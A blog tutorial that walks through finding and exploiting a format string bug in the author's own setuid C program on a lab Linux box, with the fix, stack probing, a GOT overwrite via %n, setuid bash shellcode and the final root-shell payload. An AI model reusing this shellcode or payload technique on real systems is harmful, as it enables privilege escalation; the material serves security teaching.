Plain Format String Vulnerability

Posted on Tue 20 May 2014 in x86-32 Linux

This is the second of a series of tutorials exploring how to detect and exploit stack based vulnerabilities on x86-32 Linux systems. The first can be found here.

This tutorial will involve detecting and exploiting a format string vulnerability. Format string vulnerabilities are sometimes easier to find than buffer overflows but nearly always harder to exploit which is why I decided to do this tutorital after the buffer overflow.

A format string vulnerability happens when a programmer has passed a user controlled input as part of the first argument of a call to one of the printf family of functions.

All of the code in this tutorial was written by the author.

The Vulnerable App

Below is the source code of the vulnerable application that we will be attacking. It is written in C and it the same application that is attacked in the first part of this series.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define PASS "topsecretpassword"

#define SFILE "secret.txt"

int checkpass(char *p);
void printfile();

int main(int argc, char **argv)
{
    int r;

    if (argc < 2) {
        printf("Usage: ");
        printf(argv[0]);
        printf(" <password>\n");
        exit(1);
    }
    r = checkpass(argv[1]);
    if (r != 0) {
        printf("Wrong password: ");
        printf(argv[1]);
        printf("\n");
        exit(1);
    }
    printfile();
}

int checkpass(char *a)
{
    char p[512];
    int r;
    strncpy(p, a, strlen(a)+1);
    r = strcmp(p, PASS);
    return r;
}

void printfile()
{
    FILE *f;
    int c;
    f = fopen(SFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            putchar(c);
        fclose(f);
    } else {
        printf("Error opening file: " SFILE "\n");
        exit(1);
    }
}

The Fix

There are 2 lines in the above application that contain a format string vulnerability. The first is on line 18, it is part of the usage message and should be changed to printf("%s", argv[0]);. The second, and the vulnerability that we will be attacking here, is on line 25, this should be changed to printf("%s", argv[1]);.

Setting Up The Environment

The environment setup is exactly the same as in part 1, so if you done part 1 then skip this section. This is how to setup the environment in full on a Debian based system:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@dev:~# adduser testuser
Adding user `testuser' ...
Adding new group `testuser' (1001) ...
Adding new user `testuser' (1001) with group `testuser' ...
Creating home directory `/home/testuser' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for testuser
Enter the new value, or press ENTER for the default
    Full Name []: 
    Room Number []: 
    Work Phone []: 
    Home Phone []: 
    Other []: 
Is the information correct? [Y/n]
root@dev:~# ls
app.c
root@dev:~# gcc -z execstack -fno-stack-protector -o app app.c
root@dev:~# cp app /home/testuser/
root@dev:~# cat /proc/sys/kernel/randomize_va_space 
2
root@dev:~# echo 0 > /proc/sys/kernel/randomize_va_space
root@dev:~# cat /proc/sys/kernel/randomize_va_space
0
root@dev:~# cd /home/testuser/
root@dev:/home/testuser# ls -l app
-rwxr-xr-x 1 root root 6242 Apr 17 16:48 app
root@dev:/home/testuser# chmod u+s app
root@dev:/home/testuser# ls -l app
-rwsr-xr-x 1 root root 6242 Apr 17 16:48 app
root@dev:/home/testuser# echo 'This is a top secret file!
> Only people with the password should be able to view this file!' > secret.txt
root@dev:/home/testuser# ls -l secret.txt
-rw-r--r-- 1 root root 91 May  9 13:40 secret.txt
root@dev:/home/testuser# chmod 600 secret.txt
root@dev:/home/testuser# ls -l secret.txt
-rw------- 1 root root 91 May  9 13:40 secret.txt
root@dev:/home/testuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!
root@dev:/home/testuser# su - testuser
testuser@dev:~$ ls -l app
-rwsr-xr-x 1 root root 6242 Apr 17 16:48 app
testuser@dev:~$ ls -l secret.txt 
-rw------- 1 root root 91 May  9 13:40 secret.txt
testuser@dev:~$ cat secret.txt
cat: secret.txt: Permission denied

Testing The App / Finding The Vulnerability

For this application its very easy to find this vulnerability:

1
2
3
4
5
6
testuser@dev:~$ ./app
Usage: ./app <password>
testuser@dev:~$ ./app test
Wrong password: test
testuser@dev:~$ ./app %x
Wrong password: bffff884

What's happened here is we've instructed printf to get the first value off of the stack and print it in hex. From the output we have got its clear there is a format string vulnerability here. A properly coded application would give the following result:

1
2
testuser@dev:~$ ./app %x
Wrong password: %x

Developing The Exploit

Now that we have discovered the vulnerability, we need to find a part of the stack that we control:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
testuser@dev:~$ ./app "AAAA : %x"
Wrong password: AAAA : bffff874
testuser@dev:~$ ./app "AAAA : %2\$x"
Wrong password: AAAA : bffff880
testuser@dev:~$ ./app "AAAA : %3\$x"
Wrong password: AAAA : bffff7c8
testuser@dev:~$ ./app "AAAA : %4\$x"
Wrong password: AAAA : b7e8d7f5
testuser@dev:~$ ./app "AAAA : %5\$x"
Wrong password: AAAA : b7ff0590

We need to do this until we find 41414141 (AAAA in hex), this can take some time so I do a little shell-fu to make this less of a painful task:

1
2
3
4
5
testuser@dev:~$ for i in `seq 1 500`; do echo "./app \"AAAA : %$i\$x\"" >> /tmp/t; ./app "AAAA : %$i\$x" >> /tmp/t; done
testuser@dev:~$ grep -B 1 41414141 /tmp/t
testuser@dev:~$ grep -B 1 414141 /tmp/t
./app "AAAA : %123$x"
Wrong password: AAAA : 41414100

So we know roughly where we are going to land, this will change a bit as we go further but it will always be around here. Now to all these A's together in 4 bytes:

1
2
testuser@dev:~$ ./app "AAAAC : %123\$x"
Wrong password: AAAAC : 41414141

We are going to need 2 addresses though (you will find out why later), so lets add some B's and find both of them:

1
2
3
4
5
6
7
8
testuser@dev:~$ ./app "AAAABBBBC : %123\$x : %124\$x"
Wrong password: AAAABBBBC : 41007070 : 42414141
testuser@dev:~$ ./app "AAAABBBBCC : %123\$x : %124\$x"
Wrong password: AAAABBBBCC : 41410070 : 42424141
testuser@dev:~$ ./app "AAAABBBB : %123\$x : %124\$x"
Wrong password: AAAABBBB : 707061 : 41414141
testuser@dev:~$ ./app "AAAABBBB : %124\$x : %125\$x"
Wrong password: AAAABBBB : 41414141 : 42424242

So now we control 2 4 byte addresses (the positions still might change a little along the way but we will always need to correct this using methods like this). So far we have just used the %x conversion specifier, most implementations also provide the %n conversion specifier too. This is what is needed to actually write to memory locations using this vulnerability. %n writes however many bytes has been printed so far to the address pointed to by the value on the stack, so with this knowledge and being able to control what addresses are at a certain point in memory, we should be able to run our own code. Still a little bit of work to do but we are getting there.

Next we need figure out the memory address that we want to write to, for this we'll use the global offset table (GOT) (this is a table used to call functions from shared libraries, like printf, putchar, strlen..., it contains pointers to the functions and is writable on linux).

First let's look at the disassembly to see what function we need to write to:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
testuser@dev:~$ gdb -q ./app
Reading symbols from /home/testuser/app...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     and    esp,0xfffffff0
   0x08048612 <+6>:     sub    esp,0x20
   0x08048615 <+9>:     cmp    DWORD PTR [ebp+0x8],0x1
   0x08048619 <+13>:    jg     0x804864c <main+64>
   0x0804861b <+15>:    mov    DWORD PTR [esp],0x80487f0
   0x08048622 <+22>:    call   0x8048470 <printf@plt>
   0x08048627 <+27>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804862a <+30>:    mov    eax,DWORD PTR [eax]
   0x0804862c <+32>:    mov    DWORD PTR [esp],eax
   0x0804862f <+35>:    call   0x8048470 <printf@plt>
   0x08048634 <+40>:    mov    DWORD PTR [esp],0x80487f8
   0x0804863b <+47>:    call   0x80484a0 <puts@plt>
   0x08048640 <+52>:    mov    DWORD PTR [esp],0x1
   0x08048647 <+59>:    call   0x80484c0 <exit@plt>
   0x0804864c <+64>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804864f <+67>:    add    eax,0x4
   0x08048652 <+70>:    mov    eax,DWORD PTR [eax]
   0x08048654 <+72>:    mov    DWORD PTR [esp],eax
   0x08048657 <+75>:    call   0x80486a2 <checkpass>
   0x0804865c <+80>:    mov    DWORD PTR [esp+0x1c],eax
   0x08048660 <+84>:    cmp    DWORD PTR [esp+0x1c],0x0
   0x08048665 <+89>:    je     0x804869b <main+143>
   0x08048667 <+91>:    mov    DWORD PTR [esp],0x8048804
   0x0804866e <+98>:    call   0x8048470 <printf@plt>
   0x08048673 <+103>:   mov    eax,DWORD PTR [ebp+0xc]
   0x08048676 <+106>:   add    eax,0x4
   0x08048679 <+109>:   mov    eax,DWORD PTR [eax]
   0x0804867b <+111>:   mov    DWORD PTR [esp],eax
   0x0804867e <+114>:   call   0x8048470 <printf@plt>
   0x08048683 <+119>:   mov    DWORD PTR [esp],0xa
   0x0804868a <+126>:   call   0x8048500 <putchar@plt>
   0x0804868f <+131>:   mov    DWORD PTR [esp],0x1
   0x08048696 <+138>:   call   0x80484c0 <exit@plt>
   0x0804869b <+143>:   call   0x80486f0 <printfile>
   0x080486a0 <+148>:   leave  
   0x080486a1 <+149>:   ret    
End of assembler dump.

You could do a bit of debugging to figure out what call to printf is vulnerable but I can tell you that it is on line 36 because it is the second call to printf after the password is checked (the call to checkpass on line 26).

There is a call to putchar after, on line 38, let's hijack this, so now to figure out where this record is in memory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
testuser@dev:~$ objdump --dynamic-reloc ./app

./app:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049a1c R_386_GLOB_DAT    __gmon_start__
08049a2c R_386_JUMP_SLOT   strcmp
08049a30 R_386_JUMP_SLOT   printf
08049a34 R_386_JUMP_SLOT   fclose
08049a38 R_386_JUMP_SLOT   _IO_getc
08049a3c R_386_JUMP_SLOT   puts
08049a40 R_386_JUMP_SLOT   __gmon_start__
08049a44 R_386_JUMP_SLOT   exit
08049a48 R_386_JUMP_SLOT   strlen
08049a4c R_386_JUMP_SLOT   __libc_start_main
08049a50 R_386_JUMP_SLOT   fopen
08049a54 R_386_JUMP_SLOT   putchar
08049a58 R_386_JUMP_SLOT   strncpy

Line 18 is where our pointer to putchar is, it shows us that the pointer is at 08049a54 so this is the address that we need to write to.

Next to find what address we want to write (the address of our shellcode so when putchar is called, our shellcode is run), we'll use the same method as in the last demonstration, we'll stick our shellcode in an environment variable and use getenv to figure out where it'll be in memory, we're also using the same shellcode as in part 1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
; run /bin/bash

global _start

section .text

_start:
        jmp short Call_shellcode ; jump to where our string is

shellcode:
        xor eax, eax ; zero out eax

    mov al, 0x17 ; put 23 into eax to setuid

    xor ebx, ebx ; zero out ebx

    int 0x80 ; make the syscall setuid

    mov eax, ebx ; zero out eax

        pop ebx ; pop the address of our string into ebx
        ; which is the first argument to execve

        mov [ebx +9], al ; put a 0 where the A is to null
             ; terminate the /bin/bash string

        mov al, 0xb ; put the sys call number 11 into eax

        mov [ebx +10], ebx ; put a pointer to the beginning
               ; of the string where the BBBB is

        xor ecx, ecx ; zero out the ecx register

        mov [ebx +14], ecx ; replace the CCCC with 0000

        lea ecx, [ebx +10] ; load the address that used to
               ; point to BBBB into ecx the second
               ; argument to execve

        lea edx, [ebx +14] ; load the address that used to
               ; point to CCCC into edx the third
               ; argument to execve

        int 0x80 ; execute the syscall execve

Call_shellcode:
        call shellcode ; call the start of the actual application
        shell: db       "/bin/bashABBBBCCCC" ; our string of
                         ; arguments to execve

Now we need to assemble, link, extract our shellcode then put it into an environment varable:

1
2
3
4
5
6
7
testuser@dev:~$ nasm -f elf32 -o shell2.o shell2.nasm
testuser@dev:~$ ld -o shell2 shell2.o
testuser@dev:~$ objdump -d ./shell2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
testuser@dev:~$ export SHELLCODE=$(python -c 'print "\x90" * 500 + "\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"')
testuser@dev:~$ ./getenvaddr SHELLCODE ./app
SHELLCODE will be at 0xbffff76d

So we have our address to write to '08049a54' and the address we want to write '0xbffff76d'.

The address we want to write is a very big number, this is why we need to control 2 addresses, we split the number in half, first we'll figure out how to write 'f76d', and then 'bfff'. So 'f76d' in decimal is '63341', so we'll minus 11 (the number of characters printer so far) and try to pad the rest, we'll use gdb to see what number we're trying to write:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
testuser@kali:~$ ./app "AAAABBBB : %63330u%124\$x : %125\$x"
Wrong password: AAAABBBB :
322122294841414100 : 42424241
testuser@kali:~$ ./app "AAAABBBBC : %63330u%124\$x : %125\$x"
Wrong password: AAAABBBBC :
322122294841414141 : 42424242
testuser@kali:~$ gdb -q ./app
Reading symbols from /home/testuser/app...(no debugging symbols found)...done.
(gdb) r "AAAABBBBC : %63330u%124\$n : %125\$x"
Starting program: /home/testuser/app "AAAABBBBC : %63330u%124\$n : %125\$x"
Wrong password: AAAABBBBC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print/x $edx
$1 = 0xf76e
(gdb) r "AAAABBBBC : %63329u%124\$n : %125\$x"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app "AAAABBBBC : %63329u%124\$n : %125\$x"
Wrong password: AAAABBBBC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print/x $edx
$2 = 0xf76d
(gdb) print/x $eax
$3 = 0x612f7265

So we have the right number for the bottom half now, we need to figure out the last bit, the problem here is in gdb the memory layout is slightly different, as you can see its not trying to write to 41414141, firstly we need to put the actual memory addresses we want in there and fix this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"C : %63329u%124\$x : %125\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"C : %63329u%124\$x : %125\$x\"")"
Wrong password: T�V��C :
3221222900612f7265 : 54007070
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CC : %63329u%124\$x : %125\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CC : %63329u%124\$x : %125\$x\"")"
Wrong password: T�V��CC :  
322122290070612f72 : 9a540070
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%124\$x : %125\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%124\$x : %125\$x\"")"
Wrong password: T�V��CCCC :
3221222900707061 : 8049a54
[Inferior 1 (process 31783) exited with code 01]
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %126\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %126\$x\"")"
Wrong password: T�V��CCCC :
32212229008049a54 : 80049a56
[Inferior 1 (process 31789) exited with code 01]

Ok we we have our pointers aligned again, I've set the second address to \x56\x9a\x04\x80 (or 80049a56) because we want an error to occur so we can see what values we are trying to write, this will ultimately be 08049a56 which is 2 bytes different from the address we found in the GOT (08049a54) (meaning this will be the second half of the memory address).

Let's get onto writing that last bit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %126\$n\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %126\$n\"")"
Wrong password: T�V��CCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print/x $edx
$4 = 0xf773
(gdb) print/x $eax
$5 = 0x80049a56

So this is now writing to our 2nd address. We want bfff to be written there, currently 'f773' is being written there, which is higher than bfff, so we do the calculation 1bfff - f773 = c88c or 51340 in decimal, let's try:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %51340u%126\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$n : %51340u%126\$n\"")"
Wrong password: T�V��CCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print/x $edx
$6 = 0xf770
(gdb) print/x $eax
$7 = 0x72657375

We seem to have lost our position again, we will have to align the addresses again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%126\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%126\$x\"")"
Wrong password: T�V��CCCC :
32212228967070612f
[Inferior 1 (process 914) exited with code 01]
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%127\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCC : %63329u%125\$x : %51340u%127\$x\"")"
Wrong password: T�V��CCCC :
322122289649a5400
[Inferior 1 (process 920) exited with code 01]
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%125\$x : %51340u%127\$x\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%125\$x : %51340u%127\$x\"")"
Wrong password: T�V��CCCCC :
32212228968049a54
[Inferior 1 (process 924) exited with code 01]

We've found the right place, now to make sure we are writing the right values:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) r "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%127\$n : %51340u%128\$n\"")"
Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63329u%127\$n : %51340u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print /x $edx
$8 = 0xf771
(gdb) r "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x40\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print /x $edx
$9 = 0xf76d

And lastly to make the second number correct:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51340u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print /x $edx
$10 = 0x1bffc
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x80\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
Wrong password: T�V��CCCCC :
Program received signal SIGSEGV, Segmentation fault.
0xb7ea19d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $eip
=> 0xb7ea19d4 <vfprintf+16244>: mov    %edx,(%eax)
(gdb) print /x $edx
$11 = 0x1bfff

Exploiting The App

So we have our values right, let's run it:

1
2
3
4
5
6
7
8
(gdb) r "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/testuser/app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
Wrong password: T�V�CCCCC :
process 956 is executing new program: /bin/bash
testuser@dev:/home/testuser$

Cool, we got a shell but as we are running it in gdb and gdb hasn't got the setuid bit set its not running and root, with this knowledge let try to get this to work outside of gdb:

1
2
3
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$n : %51343u%128\$n\"")"
Wrong password: T�V�CCCCC :
Segmentation fault

Didn't work, most likely our pointers aren't aligned again, so now to get them aligned:

1
2
3
4
5
6
7
8
9
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$x : %51343u%128\$x\"")"
Wrong password: T�V�CCCCC :
32212229443a204343
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCC : %63325u%127\$x : %51343u%125\$x\"")"
Wrong password: T�V�CCCCC :
322122294449a5400
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCCC : %63325u%125\$x : %51343u%126\$x\"")"
Wrong password: T�V�CCCCCC :
32212229448049a56

That looks ok, we added a 'C' so let's minus 1 from our padding and try:

1
2
3
4
5
testuser@dev:~$ ./app "$(python -c "print \"\x54\x9a\x04\x08\x56\x9a\x04\x08\" + \"CCCCCC : %63324u%125\$n : %51343u%126\$n\"")"
Wrong password: T�V�CCCCCC :
root@dev:/home/testuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!

PWNED! :-)

So we've got root through a format string vulnerability.

I just wanted to demonstrate the second format string vulnerability quickly:

1
2
3
4
5
testuser@dev:~$ ./app
Usage: ./app <password>
testuser@dev:~$ ln -s app %x
testuser@dev:~$ ./%x
Usage: ./bffff654 <password>

This is an interesting case, see if you can root it!

Conclusion

Input that can be controlled by a user should never be trusted, this vulnerability could have been easily avoided by using the printf function with a static format string instead of passing user input as the first argument.

This was a very simple and obvious example of a format string vulnerability but they aren't always as easy to spot. I will likely write different examples in later tutorials.

Happy Hacking :-)